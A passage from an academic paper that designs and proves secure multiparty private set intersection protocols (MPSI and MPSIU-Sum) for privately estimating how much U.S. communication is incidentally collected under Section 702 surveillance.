To this day, the IC has not generated an estimate of the
scale of Section 702 incidental collection. Our goal in this
work is to demonstrate a possible path forward, accepting the
IC’s public invitation to propose novel estimation methods.

3 Problem Formulation

We formulate the problem of estimating Section 702 inciden-
tal collection in two stages.8 First, we explain our conceptual

8We focus on Section 702 and incidental collection involving the U.S.
because of the issue’s sustained controversy. Our approach generalizes to

approach and its limitations. We propose combining collec-
tion data held by the IC and location data held by commu-
nications services. Second, we offer a formalization of the
problem, including ideal functionalities and a threat model.

3.1 Conceptual Approach

The fundamental challenge for estimating Section 702 inci-
dental collection is that the IC (intentionally) does not collect
location or nationality data for individuals whose commu-
nications are incidentally collected. The foundation of our
approach is a recognition that communications services, such
as email providers and social media platforms, do possess
relevant location data—and that data could be combined with
IC data about communications collected under Section 702.9

Communications services maintain user location data for a
range of routine business purposes, including providing ser-
vice, marketing, business analytics, personalized content, legal
compliance, and shareholder reporting. This location data can
originate from a variety of sources, such as device sensors
(e.g., GPS and Wi-Fi positioning), network connectivity (e.g.,
IP geolocation or cell site location), or account information
(e.g., a mailing address or selected country). We make no as-
sumptions about the type of location data or precision beyond
country-level granularity.10 Our approach requires only that
a communications service possess a set of identifiers (e.g.,
email addresses, telephone numbers, or usernames) that it
believes are used by persons located in the United States.

Figure 3 depicts a motivating example.11 Suppose an intel-
ligence agency targets Mallory for Section 702 email surveil-
lance, incidentally collecting messages to and from Alice.

other legal authorities, such as Executive Order 12333, and other countries.
9This work emphasizes online communications services as MPC par-

ticipants, because these services likely possess high-quality country-level
location data from direct relationships with users. Other entities that could
map communications identifiers to countries, such as broadband providers,
e-commerce platforms, and financial services, could also participate.

10Data quality can vary by location method, especially in IP geolocation.
Section 9 discusses an extension to account for varying location confidence.

11Note that Figure 3 does not depict knowledge about U.S. person status or
the mapping between persons and identifiers, which we discuss in Section 3.2.
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Alice likely uses a popular email service, and that service
knows that Alice accesses the service from the United States.

A simple information sharing arrangement between the IC
and communications services would not be viable. The IC
could not disclose identifiers affected by incidental collection,
because that data would reveal classified intelligence sources
and methods. Communications services could not disclose
user locations, because that would breach user privacy and run
afoul of ECPA—which generally forbids sharing customer
records with a government agency absent legal process [1].

The IC could attempt to determine Alice’s location or na-
tionality through open-source investigation or commercial
data (e.g., [57]).12 Public information about Alice’s email ad-
dress may be unavailable, however, and acquired data may be
questionable. As the IC has noted, this approach would also
be burdensome for analysts and further intrude on privacy.

We propose using MPC to estimate Section 702 incidental
collection without these privacy pitfalls. The IC would main-
tain secrecy for surveillance activities, and communications
services would maintain confidentiality for user locations.

Our approach would generate two aggregate transparency
statistics: 1) a count of identifiers that are affected by inci-
dental collection and are used by a person in the U.S., and
2) a count of intercepted communications where a sending
or receiving identifier is used by a person in the U.S. The
IC could integrate these statistics into its annual surveillance
transparency report, which already provides public counts for
Section 702 orders, targets, and U.S. person queries [65].

We developed and scrutinized this approach through ex-
tensive unclassified consultation with intelligence profession-
als who had senior experience at the Office of the Director
of National Intelligence, the National Security Agency, the
Federal Bureau of Investigation, and the Central Intelligence
Agency. We also benefited from the expertise of individuals
with oversight experience at the Senate Select Committee on
Intelligence, the House Permanent Select Committee on Intel-
ligence, and the Privacy and Civil Liberties Oversight Board.
We additionally received valuable input from civil liberties
groups, privacy law scholars, and security researchers. We
gratefully acknowledge these essential contributions, and we
emphasize that the approach we propose in this work has not
been endorsed by any component of the U.S. government.

3.2 Limitations

Before formalizing our proposal as an MPC problem, we note
several important limitations to the conceptual direction.

• The approach that we propose would generate an estimate
of incidental collection, not a definitive count. Communi-
cations services may possess incomplete or inaccurate data
about identifiers or locations, and changing protocol partic-

12We do not evaluate these methods for estimating incidental collection, so
we take no position on the complex accuracy, burden, and privacy tradeoffs.

ipants may significantly change output. When presenting
an estimate, explanation and context would be essential.

• As the IC’s leadership has acknowledged the importance
of estimating incidental collection, and because the IC al-
ready generates annual transparency statistics for Section
702, we assume that an aggregate estimate of incidental
collection would not risk intelligence sources and methods.
If releasing a figure would be problematic, the IC could
add noise or provide an interval for the value. We discuss a
differential privacy extension to our protocol in Section 9.

• Our proposal would estimate incidental collection on per-
sons located in the U.S., but would not account for U.S.
persons abroad. Online services generally do not hold na-
tionality data, and we do not assume its availability. Leg-
islators and civil society groups requesting estimates have
noted that quantification based on location would be valu-
able [11,14,17], and the IC already uses location as a proxy
for nationality in Section 702 querying procedures [65].

• We propose counting identifiers rather than persons. Map-
ping identifiers to persons is a challenge: a user may have
multiple email addresses, for example, or multiple users
may share an address. Calls for estimating incidental col-
lection have also accepted this limitation [11, 14, 17], and
IC transparency statistics for certain queries of Section 702
collection already count identifiers rather than persons [65].

• The estimated count of incidentally collected communica-
tions that we propose treats a communication to multiple re-
cipients as equivalent to a communication to each recipient.
This approach simplifies the MPC and enables quantifying
the average amount of incidental collection per affected
identifier (by dividing the two protocol outputs). To the
extent this approach involves duplicate counting—a matter
of perspective—we note that IC transparency statistics for
certain Section 702 queries already include duplicates [65].

• PSI protocols can introduce probabilistic inaccuracies in
computation. We describe how false negatives can occur in
our MPSI and MPSIU-Sum constructions, and we empiri-
cally evaluate false negatives in MPSIU-Sum benchmarks.

3.3 Formalization
IC element P0 holds communications identifiers X0 that were
non-target senders or recipients of communications collected
under Section 702.13 P0 also holds integer values V that are
counts of collected communications for identifiers in X0. Com-
munications services P1, . . . ,Pn−1 hold sets X1, . . . ,Xn−1 of
identifiers they believe are used by persons located in the U.S.

P0,P1, . . . ,Pn−1 run an MPSIU-Sum protocol with P0 as
the delegate for output (Figure 4). At the conclusion of the pro-
tocol, P0 learns |I| and ∑x∈I V [x] where I = X0

⋂
(
⋃n−1

i=1 Xi).
|I| is an estimated count of identifiers used by persons in the

13We assume that one IC element would coordinate protocol participation
for the IC. Related formalizations could include multiple IC elements, an
independent oversight entity as delegate, or no government component at all.
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FMPSI

Parties: P0,P1, . . . ,Pn−1 with delegate P0.
Inputs: Xi ⊆ {0,1}∗ held by party Pi.
Outputs: P0 receives I =

⋂n−1
i=0 Xi. Others receive nothing.

FMPSIU-Sum

Parties: P0,P1, . . . ,Pn−1 with delegate P0.
Inputs: Xi ⊆ {0,1}∗ held by party Pi and associated values
V ⊆ Fq held by the delegate.
Outputs: P0 receives |I| and ∑x∈I V [x] where
I = X0

⋂
(
⋃n−1

i=1 Xi). Other parties receive nothing.

Figure 4: Ideal functionalities for Multiparty Private Set Inter-
section (FMPSI) and Multiparty Private Set Intersection with
Union and Sum (FMPSIU-Sum). Note that the FMPSIU-Sum defi-
nition includes both cardinality and sum outputs.

U.S. that were affected by incidental collection. ∑x∈I V [x] is
an estimated count of communications to or from persons in
the U.S. that were affected by incidental collection.

3.4 Threat Model

We aim to preserve confidentiality for both the IC and users,
with malicious security against information disclosure.

Protecting Intelligence Sources and Methods. The com-
munications services P1, . . . ,Pn−1 do not learn new informa-
tion about the identifiers in X0 or counts in V , because those
values reflect specific instances of Section 702 surveillance.

Protecting User Privacy. The IC element P0 does not
learn new information about identifiers in X1, . . . ,Xn−1, other
than from protocol output, because those values reflect the lo-
cations of persons using identifiers. The services P1, . . . ,Pn−1
do not learn new information about identifiers in X1, . . . ,Xn−1.

The MPSI and MPSIU-Sum protocols that we present
achieve these objectives, providing security against a mali-
cious P0 or any colluding subset of P1, . . . ,Pn−1. We provide
a simulation-based security proof for both protocols (Sec-
tions 5.3 and 6.3), and we offer an extension for malicious
security against any proper subset of participants (Section 9).
Our constructions also have the following security properties.

• The protocols do not prevent intentional false positives,
false negatives, inaccurate set cardinality, or inaccurate sum
computation, because MPC participants can generally cheat
with input. Malicious participants could also manipulate
the protocols to induce errors. Semi-honest participants
with truthful input will not induce errors, other than a prob-
abilistic risk of false negatives (Sections 5.2, 6.2, and 7).
Surveillance transparency reports already depend on the IC

and communications services for trustworthy counting, so
this property is consistent with current practices.

• The protocols do not prevent a participant from intention-
ally revealing known information through an out-of-band
or repurposed in-band channel, as is generally true of MPC.
This property is also consistent with the status quo.

• The aggregate cardinality and sum output from
MPSIU-Sum may reveal information about X1, . . . ,Xn−1 to
P0.14 Adding random noise into the protocol can mitigate
that risk and achieve differential privacy (Section 9).

4 Preliminaries

Before presenting our MPSI and MPSIU-Sum protocols, we
describe data structure and cryptographic primitives that are
foundational for the constructions. Our notation here and
throughout the balance of the paper generally follows conven-
tions for the Apple PSI protocol that we extend, so that readers
can better compare the protocols and associated proofs [28].

Hashmap Generation. Our constructions use hashmaps
that rely on a collision-resistant cryptographic hash function
H : {0,1}∗ → {0,1}l′ . For a hashmap of size m = 2l with
l < l′, the l-bit index of a string s is the unsigned integer
representation of an l-bit prefix of H(s). We denote this as
index(s, l) and omit l when it is clear from context.

Elliptic Curves. All arithmetic over elliptic curves is per-
formed on NIST P-256 [31], unless otherwise specified.

Hashing to Elliptic Curves. We use the map_to_curve
functionality from the IETF Hashing to Elliptic Curves
Internet-Draft, because the resulting hash function HE :
{0,1}∗→ E can be modeled as a random oracle [40].

Diffie-Hellman Random Self-Reduction. In a group of
order q with generator G where the DDH problem is hard,

define an operation DH.Reduce for random scalars β,γ
$← Fq.

DH.Reduce(L,T,P) = (β ·T + γ ·G,β ·P+ γ ·L)

Recall that (L,T,P) is a DH tuple if and only if L = α ·G
and P = α · T for some α ∈ Fq. Naor and Reingold show
that DH.Reduce reduces DH tuples to DH tuples uniformly
sampled in E(Fq) and non-DH tuples to random values
uniformly sampled in E(Fq) [28, 60]. Suppose (T ′,P′)←
DH.Reduce(L,T,P). If (L,T,P) is a DH tuple with L = α ·G,

P′ = β ·P+ γ ·L = β · (α ·T )+ γ · (α ·G)

= α · (β ·T + γ ·G) = α ·T ′.

Otherwise, if (L,T,P) is a non-DH tuple, then T ′ and P′

are uniformly random as they are linear combinations of
14A malicious P0 could exploit the property by encoding X0 items into V

values. That gambit would run afoul of information disclosure restrictions in
ECPA [1], and regardless, the same noise mitigation would apply.
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Key-Aggregation
Public Parameters: EC group E(Fq) with generator G.
Parties: P0,P1, . . . ,Pn−1.
Inputs: Party Pi holds ski ∈ Fq for 0≤ i≤ n−1.
Outputs: Aggregated public key apk.

1. (All Parties) Compute pki← ski ·G and broadcasts pki
to all other parties.

2. (All Parties) Compute apk← ∑
n−1
i=0 pki.

Figure 5: Sub-protocol Key-Aggregation is run at the start of
MPSIU-Sum to compute an aggregated public key apk.

T and P with uniformly random coefficients β and γ [60].
Furthermore, if (L,T1,P1) and (L,T2,P2) are DH tuples, so is
(L,T1 +T2,P1 +P2) as P1 +P2 = α · (T1 +T2) with L = α ·G.
Similarly, the sum of a DH tuple and a non-DH tuple is a non-
DH tuple, and the sum of a DH tuple and a random tuple is a
random tuple. We use these DH tuple additive properties to
extend the Apple PSI protocol to the multiparty setting [28].

Authenticated Encryption with Associated Data. Our
constructions require an authenticated encryption with associ-
ated data (AEAD) scheme, which ensures both confidentiality
and integrity of encrypted data. We denote a scheme with
key space KAEAD as (AEAD.Enc,AEAD.Dec) and instantiate
it with AES-GCM in our implementation. We derive AEAD
keys from elliptic curve points as (KDF) using SHA256.

Distributed ElGamal Cryptosystem (DEG). The ElGa-
mal cryptosystem is an asymmetric partially homomorphic
encryption scheme. For semantic security, the ElGamal cryp-
tosystem is initialized over a cyclic group in which the
DDH problem is hard. We define the scheme in an elliptic
curve group E(Fq), with generator G, for practical efficiency
gains [39, 50]. A distributed version of the cryptosystem al-
lows parties to jointly generate an aggregated public key apk
such that data encrypted under apk can only be decrypted
jointly by all parties. In particular, no single party (e.g., the
delegate P0) can decrypt ciphertexts encrypted under apk.

DEG: Public Key Aggregation. Secret keys are integers in
Fq. The (ideal) aggregated secret key is the sum (modulo q)
of individual secret keys generated by each party. The public
key associated with a secret key sk is the elliptic curve point
sk ·G. It follows that the aggregated public key apk is simply
the sum of individual public keys (see Figure 5). We denote
the public key space as KEG.

DEG: Partial Homomorphism. A message m ∈ Fq is rep-
resented by the elliptic curve point m ·G, which preserves ad-
ditive homomorphism. The encryptions of messages m1,m2
under public key apk are (r1 ·G,r1 ·apk+m1 ·G),(r2 ·G,r2 ·
apk+m2 ·G) for r1,r2

$← Fq respectively. It follows that

(r1 ·G,r1 ·apk+m1 ·G)+(r2 ·G,r2 ·apk+m2 ·G)

Joint-Decryption
Public Parameters: EC group E(Fq) with generator G,
number of CRT moduli c, ciphertext space C .
Parties: P0,P1, . . . ,Pn−1 with delegate P0.
Inputs: Party Pi holds ski ∈ Fq for 0≤ i≤ n−1 and ElGa-
mal ciphertext ct = (C1,C2) ∈ C .
Outputs: Party P0 learns the plaintext encrypted in ct.

1. (All Parties) Compute

di← ski ·C1

2. (Party Pi for 0 < i < n) Send di to P0.
3. (Delegate P0) Computes

T ←C2−
n−1

∑
i=0

di

And the discrete log of T (base G) using BSGS.

Figure 6: Sub-protocol Joint-Decryption is run at the end of
MPSIU-Sum, allowing P0 to learn the computed sum.

= ((r1 + r2) ·G,(r1 + r2) ·apk+(m1 +m2) ·G).

DEG: Decryption. Notice that decryption in this scheme
amounts to solving the Discrete Log Problem (DLP) over
E(Fq). We use a precomputed table and the baby-step giant-
step (BSGS) algorithm to find m given m ·G [71, 72]. We
discuss a Chinese Remainder Theorem-based version of the
ElGamal cryptosystem which makes decryption tractable for
large integer values in Supplementary Information [54]. Note
that MPSIU-Sum (Figure 13) requires the decryption of only
a single ElGamal ciphertext (Figure 6). Using 2 CRT moduli
of at least 16 bits each and a small precomputed table (e.g., of
size 216), the BSGS algorithm computes the discrete log m of
m ·G well under 500 ms for m < 232 on commodity hardware.

5 Multiparty Private Set Intersection (MPSI)

In this section, we construct an MPSI protocol as a step toward
our MPSIU-Sum protocol. We begin by describing a variant of
the Apple PSI protocol, which is based on the insight that DH
random self-reduction can be used to both detect matches and
protect associated data for a match [28]. We then generalize
the protocol to the multiparty setting, yielding a practical
MPSI protocol. We prove protocol correctness, analyze false
negatives, and provide a simulation-based proof of security.

PSI. Assume that delegate P0 holds set X0 and party P1
holds set X1. P0 and P1 would like to jointly compute X0∩X1
and output to P0, without revealing other information.

Informally, our PSI construction tracks the Apple PSI pro-
tocol: P0 creates a table M of values in X0 blinded with key
α, P1 computes a DH random self-reduction for each value in
X1 with the corresponding value in M, P1 encrypts associated
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PSI
Public Parameters: EC group E(Fq) with generator G, hash
function HE : {0,1}∗→ E, map size m = 2l .
Parties: Delegate P0 and party P1.
Inputs: P0 holds set X0⊂{0,1}∗, P1 holds set X1⊂{0,1}∗.
Outputs: P0 receives X0∩X1, P1 receives nothing.

1. (Delegate P0) Generates sk
$← KAEAD and α

$← Fq, and
sets L = α ·G. Initializes map M of size m. For every
w j ∈ X0, sets Mindex(w j)←{α ·HE(w j),Enc(sk,w j)}. For
every unmodified index 0≤ j < m in M, sets M j←{r1 ·
G,Enc(sk,r2)} for r1,r2

$← Fq. Sends M,L to P1.
2. (Party P1) Initializes map R of size m. For ev-

ery w ∈ X1, computes j ← index(w) and sets
R j ← DH.Reduce(L,HE(w),M j,0). For every unmod-
ified index 0 ≤ j < m in R, sets R j ← {Q′,S′} for

Q′,S′ $← E. Initializes array B of size m. For 0 ≤ j < m,
sets B j ← {R j,0,AEAD.Enc(KDF(R j,1),M j,1)}. Sends R
to P0.

3. (Delegate P0) For 0 ≤ j < m, computes K j ← KDF(α ·
B j,0), d j← AEAD.Dec(K j,B j,1) and the output D←{d j :
d j ̸=⊥,0≤ j < m}.

Figure 7: A formalization of the complete PSI protocol.

data with a symmetric key derived from the DH self-reduction,
and finally P0 attempts decryption of the associated data. Our
protocol differs in that P0 creates a hashmap instead of a
Cuckoo table for multiparty coordination, P0 provides en-
crypted associated data to enable the sum in MPSIU-Sum, P1
generates a new hashmap R from every value in M to protect
|X1| and for multiparty coordination, and P1 permutes the
array B that it sends to P0 to protect individual matches in
MPSIU-Sum. We formalize the PSI protocol in Figure 7.

For simplicity, assume no hashmap collisions (see Section
5.2). Assuming the DDH problem is hard over E(Fq), the
discrete log problem is also hard over E(Fq), so M does not
reveal anything about the elements of X0 to a computationally-
bounded P1. P0 can only decrypt elements from P1 that are
in X0∩X1, such that P0 can recover the key derived from P1’s
self-reduction, and does not learn other information about X1.

PSI→MPSI. We generalize the PSI protocol to the mul-
tiparty setting by using the additive properties of DH tu-
ples. P0 and P1 initialize the protocol as above. The parties
P2, . . . ,Pn−1 then sequentially pass parameter L, hashmap M,
and hashmap R, updating R to incorporate each party Pi’s set
Xi. If a party has a set item for a hashmap index, it computes a
DH self-reduction with M (as in PSI) and adds the computed
value to the value already in R. If a party does does not have
an item for an index, it sets a random value in R.

The conclusion of the protocol is the same as in PSI. The
last party Pn−1 constructs an array B, encrypting the associ-

ated data from P0 with keys derived from the values in R.
Pn−1 permutes B and sends it to P0. P0 completes the pro-
tocol, decrypting ciphertexts associated with DH tuples and
yielding the intersection

⋂n−1
i=0 Xi. We present an overview of

the protocol in Figure 8 and the formal protocol in Figures 9,
10, 11, and 12. Section 9 discusses possible extensions.

5.1 Correctness
Theorem 1. Assuming semi-honest participants, false posi-
tives are not possible in MPSI.

Proof. Let I =
⋂n−1

i=0 Xi and suppose, on the contrary, that
x ̸∈ I but x ∈ D (in Delegate-Finish) with index(x) = j. As P0
was able to decrypt B j,1 using key α ·B j,0, it follows that x ∈
X0 and M j,0 = α ·HE(x). Before Blind-Encrypt, (L,R j,0,R j,1)
must have formed a DH tuple as B j,1 was encrypted using
R j,1 = α ·B j,0 = α ·R j,0. Since x ̸∈ I, it follows that x ̸∈ Xi for
some i > 0. There are two possibilities:

• y ∈ Xi such that y ̸= x but index(y) = index(x) = j. Pi
adds DH.Reduce(L,HE(y),M j,0) to R j. As HE(y) ̸=
HE(x), (L,HE(y),M j,0) is not a DH tuple, R j will be
a random tuple due to the self-reduction property.

• There exists no y ∈ Xi such that index(y) = j. Pi explic-
itly sets R j to a random tuple.

In either case, R j is set to a random tuple by Pi. Even if
subsequent parties add DH tuples to this random tuple (if they
have x in their sets), the result will not be a DH tuple, except
with negligible probability. Therefore, (L,R j,0,R j,1) cannot be
a DH tuple before Blind-Encrypt, yielding a contradiction.

Theorem 2. Assuming semi-honest participants, false nega-
tives in MPSI are only caused by collisions in hashmap M.

Proof. Let I =
⋂n−1

i=0 Xi, x ∈ I with index(x) = j. A false neg-
ative implies that P0 was unable to decrypt B j,1 with key
α ·B j,0 in Delegate-Finish. It follows that (L,R j,0,R j,1) was
not a DH tuple before Blind-Encrypt. As x ∈ I, no party ex-
plicitly set R j to a random tuple. It follows that some party,
say Pi, added a non-DH tuple (L,HE(y),M j,0) to R j during
its turn. There are two possibilities:

• x ̸= y =⇒ HE(y) ̸= HE(x) but index(y) = index(x) = j,
which implies a collision in M.

• x = y and M j,0 ̸= α ·HE(x), which is only possible if
∃y′ ∈ X0 such that index(y′) = index(x) = j and M j,0 =
α ·HE(y′), which also implies a collision in M.

5.2 False Negatives
Expected Number of Filled Slots. Assume a cryptographic
hash function yields uniformly random indices. After w
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 � � � �
P0 P1 P2 · · · Pn−1 P0

Delegated party First non-delegated party Second non-delegated party · · · Last non-delegated party Delegated party

MPSI Delegate-Start with AEAD Constructs R using M,L Transforms R Blind-Encrypt (without apk) Delegate-Finish

(Figure 9) (Figure 12) (Figure 12) (Figure 10) (Figure 11)

• Generates blinding key α and
L = α ·G

• Generates symmetric key sk
• Constructs M where value at

an index is either (blinded
identifier, encryption of the
identifier) or a random tuple

• Self-reduces tuples using
blinded identifiers in M at
indices corresponding to
elements in its private set

• Randomizes tuples at indices
not corresponding to elements
in its private set

• Adds self-reductions to tuples
in R at indices corresponding
to elements in its private set

• Randomizes tuples in R at in-
dices not corresponding to ele-
ments in its private set

• Adds self-reductions to tuples
in R at indices corresponding
to elements in its private set

• Randomizes tuples in R at in-
dices not corresponding to ele-
ments in its private set

• Constructs B by encrypting ci-
phertexts in M using keys de-
rived from corresponding tu-
ples in R

• Derives keys using α and at-
tempts decryption, which suc-
ceeds only for elements in the
intersection

• Decrypts obtained ciphertexts
using sk

MPSIU-Sum Delegate-Start with PHE Constructs R using M,L Transforms R Blind-Encrypt (with apk) Delegate-Finish

(Figure 9) (Figure 13) (Figure 13) (Figure 10) (Figure 11)

• Generates blinding key α and
L = α ·G

• Constructs M where value at
an index is either (blinded
identifier, encryption of the as-
sociated value) or a random tu-
ple

• Self-reduces tuples using
blinded identifiers in M at
indices corresponding to
elements in its private set

• Randomizes tuples at indices
not corresponding to elements
in its private set

• Replaces tuples in R with self-
reductions using blinded iden-
tifiers in M at indices corre-
sponding to elements in its pri-
vate set

• Self-reduces tuples in R at in-
dices not corresponding to ele-
ments in its private set

• Self-reduces all tuples in R
• Constructs B by rerandomiz-

ing (using apk) and encrypting
ciphertexts in M using keys de-
rived from corresponding tu-
ples in R

• Derives keys using α and at-
tempts decryption, which suc-
ceeds only for elements in the
intersection

• Aggregates obtained cipher-
texts, generates an encryption
of the result under apk, and
runs Joint-Decryption (Fig. 6)

L,M L,M,R L,M,R L,M,R π(B)

Figure 8: An illustration of the MPSI and MPSIU-Sum protocols, omitting the Key-Aggregation and Joint-Decryption sub-protocols.

Delegate-Start
Public Parameters: EC group E(Fq) with generator G, hash
function HE : {0,1}∗→ E, map size m = 2l .
Parties: Delegate P0.
Inputs: P0 holds set X0 ⊂ {0,1}∗, associated values V ⊂
{0,1}∗, encryption key ek, encryption function Enc.
Outputs: Blinding key α, EC point L, and hashmap M.

1. Generates α
$← Fq and sets L = α ·G.

2. For every w j ∈ X0,v j ∈ V , sets Mindex(w j) ← {α ·
HE(w j),Enc(ek,v j)}.

3. For every unmodified index 0≤ j < m in M, sets M j←
{r1 ·G,Enc(ek,r2)} for r1,r2

$← Fq.

Figure 9: Delegate P0 runs sub-protocol Delegate-Start at the
beginning of MPSI and after Key-Aggregation in MPSIU-Sum.

unique items are inserted into a hashmap of size m, the prob-
ability that a slot is empty is

(
1− 1

m

)w
. For large m, using

the identity limm→∞

(
1− 1

m

)m
= e−1, the probability that a

given slot is empty is approximately e
−w
m .15 The expected

number of filled slots when w unique items are inserted into a
hashmap of size m is

ExpFilled(m,w) = m
(

1−
(

1− 1
m

)w)
≈ m(1− e

−w
m ).

15This is the same probability that a given bit will not be set in a Bloom
filter with just one hash function. The expected number of hash collisions is
usually not a quantity of interest in analyses of Bloom filters [44].

Blind-Encrypt
Public Parameters: EC group E(Fq), size m = 2l .
Parties: Last party Pn−1.
Inputs: Hashmaps R and M, ElGamal public key apk (op-
tional).
Outputs: Array B.

1. Initializes array B of size m. For 0≤ j < m, sets

ct j←

{
EG.AddZero(apk,M j,1) if apk was provided
M j,1 otherwise

B j←{R j,0,AEAD.Enc(KDF(R j,1),ct j)}

2. Samples permutation π over {0, . . . ,m−1} and shuffles
B← π(B).

Figure 10: The last party Pn−1 runs sub-protocol Blind-Encrypt
before delegate P0 runs Delegate-Finish. For brevity, we com-
bine the MPSI and MPSIU-Sum steps into Blind-Encrypt.

We analyze false negatives induced by the delegate and
non-delegates separately here, as some non-delegate errors
are recoverable in MPSIU-Sum (Section 6.2).

Errors Induced by Delegate. Suppose I =
⋂n−1

i=0 Xi and
|I| = sI . Every collision of index(·) with these sI elements
during Delegate-Start causes a false negative. The expected
number of false negatives induced by P0 is e0 = |I| · (1− 1

m ) ·
ExpFilled(m, |X0|− |I|).
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Delegate-Finish
Public Parameters: EC group E(Fq), array size m = 2l .
Parties: Delegate P0.
Inputs: Blinding key α and array B.
Outputs: Set of AEAD plaintexts D.

1. For 0≤ j < m, computes K j← KDF(α ·B j,0) and d j←
AEAD.Dec(K j,B j,1).

D←{d j : d j ̸=⊥,0≤ j < m}

Figure 11: Delegate P0 runs sub-protocol Delegate-Finish to
conclude MPSI and before Joint-Decryption in MPSIU-Sum.

Errors Induced by Non-Delegates. A false negative is
induced by a non-delegate if index(·) causes a collision among
the |I| − e0 indices filled by the delegate P0. The expected
number of such collisions is

ei =
|I|− e0

m
·ExpFilled(m, |Xi|− |I|).

If |Xi| = s for all i > 0 and f0 = ExpFilled(m, |X0|− sI), the
total number of expected false negatives is given by

e0 +(n−1)ei

= e0 +
(n−1)(sI− e0)

m
ExpFilled(m,s− sI)

= sI(1−
1
m
)ExpFilled(m, |X0|− sI)

+ sI
(n−1)ExpFilled(m, |X0|− sI))

m2 ExpFilled(m,s− sI)

= sI · f0

(
1− 1

m
+

n−1
m2 ExpFilled(m,s− sI)

)
.

As sI ≪ s, the expected false negative rate is less than

f0

(
1− 1

m
+

n−1
m2 ExpFilled(m,s)

)
= f0

(
1− 1

m
+

n−1
m

(1− e
−s
m )

)
= (1− e

sI−|X0 |
m )

(
m−1+(n−1)(1− e

−s
m )

)
.

5.3 Security

The security properties of MPSI follow from DDH and dis-
crete log hardness and AEAD semantic security. Intuitively,
parties P1, . . . ,Pn−1 cannot read values in M because they are
encrypted by α or sk. Delegate P0 can only decrypt values in
B that are DH tuples because of a set intersection match.

Multiple security proofs are available for the Apple PSI
protocol [26, 28]. We extend the simulator-based arguments
here with proof sketches, and we provide complete security
proofs in the Supplementary Information [54].

Theorem 3. A static computationally-bounded malicious
adversary A that corrupts Pi for i∈C⊂ {1, . . . ,n−1} learns
no information about {X j : 1≤ j ≤ n−1, j ̸∈C} in MPSI.

MPSI
Public Parameters: EC group E(Fq) with generator G, hash
function HE : {0,1}∗→ E, map size m = 2l .
Parties: P0,P1, . . . ,Pn−1 with delegate P0.
Inputs: Pi holds set Xi ⊂ {0,1}∗ for 0≤ i < n.
Outputs: Delegate P0 receives the result of the protocol,
other parties receive nothing.

1. (Delegate P0) Generates sk
$←KAEAD, runs

(α,L,M) ← Delegate-Start(X0,X0,sk,AEAD.Enc)

and publishes M,L to all parties.
2.(a) (Party P1) Initializes map R of size m. For all w ∈ X1,

computes j← index(w) and sets
R j ← DH.Reduce(L,HE(w),M j,0).

(b) (Party Pi for 1 < i≤ n−1) For all w ∈ Xi, computes
j ← index(w) and sets
R j← R j +DH.Reduce(L,HE(w),M j,0).

3. (Party Pi for 1≤ i≤ n−1) For 0≤ j < m, if R j was not

modified in step 2, Pi sets R j←{Q′,S′} for Q′,S′ $← E.
4. (Party Pi for 1≤ i < n−1) Sends R to Pi+1.
5. (Last party Pn−1) Runs B ← Blind-Encrypt(R,M) and

sends B to delegate P0.
6. (Delegate P0) Retrieves I← Delegate-Finish(α,B).

Figure 12: The MPSI protocol, extending the PSI protocol.

Proof Sketch. A receives no output. Simulator S generates an
incoming view for A that is computationally indistinguishable
from a real execution. S generates M,L as in the Apple PSI
proof [28]. S aborts if A aborts. If j ∈C such that j > 1, S
also generates R $← E2×m. Even if A aborts after receiving
R from an honest non-delegate, without knowledge of α, A
cannot distinguish DH and non-DH tuples in the real R.

Theorem 4. A static computationally-bounded malicious
adversary A that corrupts Pi for i∈C⊂ {1, . . . ,n−1} learns
no information about X0 in MPSI.

Proof Sketch. The proof proceeds similarly to Theorem 3.
Simulator S generates M,L as in the Apple PSI proof [28]. S
aborts if A aborts. Even if A aborts before sending R or B,
intractability of the DDH problem over E and semantic secu-
rity of the AEAD cipher imply that A cannot computationally
distinguish M,L in the simulation and a real execution.

Theorem 5. A static computationally-bounded malicious P0
learns no more information about {X j : 1≤ j ≤ n−1} than
is revealed by the result of MPSI.

Proof Sketch. Simulator S0 interacts with a corrupted P0. In
MPSI, delegate P0 receives B and the protocol output but
not R. If P0 aborts, S0 aborts. If P0 aborts before receiving
B, it cannot compute the protocol result and does not learn
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MPSIU-Sum
Public Parameters: EC group E(Fq) with generator G, hash
function HE : {0,1}∗→ E, map size m = 2l .
Parties: P0,P1, . . . ,Pn−1 with delegate P0.
Inputs: Pi holds set Xi ⊂ {0,1}∗ for 0≤ i < n and P0 holds
associated values V .
Outputs: Delegate P0 receives the result of the protocol,
other parties receive nothing.

1. (All parties) Choose ski
$← Fq and run

apk← Key-Aggregation(sk0, . . . ,skn−1).
2. (Delegate P0) Runs

(α,L,M)← Delegate-Start(X0,V,apk,EG.Enc)

and publishes M,L to all parties.
3. (Party P1) Initializes map R of size m.
4. (Party Pi for 1≤ i≤ n−1) For all w ∈ Xi, sets

j← index(w) and R j← DH.Reduce(L,HE(w),M j,0).
5.(a) (Party P1) For 0 ≤ j < m, if R j was not modified in

step 4, sets R j←{Q′,S′} for Q′,S′ $← E.

(b) (Party Pi for 1 < i≤ n−1) For 0≤ j < m, if R j was
not modified in step 4, sets
R j← DH.Reduce(L,R j,0,R j,1).

6. (Party Pi for 1≤ i < n−1) Sends R to Pi+1.
7. (Last party Pn−1) Runs B ← Blind-Encrypt(R,M,apk)

and sends B to delegate P0.
8. (Delegate P0) Runs

Csum← EG.Add(Delegate-Finish(α,B))

and broadcasts Csum to all other parties.
9. (All parties) Run Joint-Decryption(Csum,(sk0, . . . ,skn−1))

and delegate P0 learns the plaintext result.

Figure 13: The MPSIU-Sum protocol, extending MPSI.

any information about {X j : 1 ≤ j ≤ n− 1}. Otherwise, S0
learns α, M and real output of the protocol IR. S0 constructs
B such that the output matches in both real and simulated
executions. As β,γ in DH.Reduce are drawn uniformly at
random and the AEAD cipher is semantically secure, B is
identically distributed in the two views regardless of whether
decryption succeeds.

6 MPSIU-Sum from MPSI

We now turn to constructing an MPSIU-Sum protocol. We be-
gin by extending MPSI to MPSIU, which includes a union op-
eration across X1, ...,Xn−1. We then further extend the design
to an MPSIU-Sum protocol, which includes a sum operation
on elements in V . We provide an intuitive explanation of each
step and a formalization of MPSIU-Sum, followed by proof of
correctness, analysis of false negatives, and proof of security.

MPSI→MPSIU. Notice that both the MPSI and MPSIU
problems require computation of X0

⋂
S where

S←

{⋂n−1
i=1 Xi in MPSI⋃n−1
i=1 Xi in MPSIU.

In MPSI, every party Pi for i > 1 either self-reduces a tuple or
randomizes it. The self-reduction guarantees that tuples corre-
sponding to elements of S—which are in each non-delegated
party’s set—remain DH tuples until Pn−1 runs Blind-Encrypt.
